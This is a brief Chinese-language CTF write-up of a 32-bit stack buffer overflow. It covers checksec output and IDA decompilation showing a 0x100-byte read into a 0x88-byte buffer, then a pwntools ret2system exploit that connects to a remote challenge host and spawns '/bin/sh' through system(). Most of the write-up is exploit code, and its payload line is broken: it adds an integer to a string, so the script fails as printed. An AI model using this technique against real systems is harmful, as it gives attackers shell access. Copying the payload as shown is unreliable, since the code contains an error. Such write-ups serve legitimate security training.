checksec扫描

```
endust@endust:~$ checksec 6
[*] '/home/endust/6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
endust@endust:~$
```

使用ida打开可以发现，初始的buf的空间只有0x88，但是读取我们输入的内容的时候，选择的大小确实0x100，造成了溢出

```
1 ssize_t vulnerable_function()
2 {
3   char buf; // [esp+0h] [ebp-88h]
4
5   system("echo Input:");
6   return read(0, &buf, 0x100u);
7 }
```

```
-00000088 ; Frame size: 88; Saved regs: 4; Purge: 0
-00000088 ;
-00000088
-00000088 buf             db ?
-00000087                 db ? ; undefined
-00000086                 db ? ; undefined
-00000085                 db ? ; undefined
-00000084                 db ? ; undefined
-00000083                 db ? ; undefined
-00000082                 db ? ; undefined
-00000081                 db ? ; undefined
```

通过这些，我们直接构建exp

```
from pwn import *

a = remote('111.198.29.45',36253)
##system函数的地址
sysaddr = 0x08048320
##程序中/bin/sh字符串所在的地址
binshaddr = 0x0804A024
##0x88是程序中缓冲区的大小，4个大小是需要覆盖的ebp的地址，之后是
##函数的返回地址，被system的地址覆盖了，进入到system函数之后，
##需要构造system函数的栈帧，因为ebp+8是形参的地址，所以需要四个
##字节的填充p32(0),后面放的是system里面的参数的地址。这样子溢出
##之后就会获得shell
payload = 'a'*0x88+'b'*4+8+p32(sysaddr)+p32(0)+p32(binshaddr)
```

```
a.send(payload)

a.interactive()
```

最后结果如图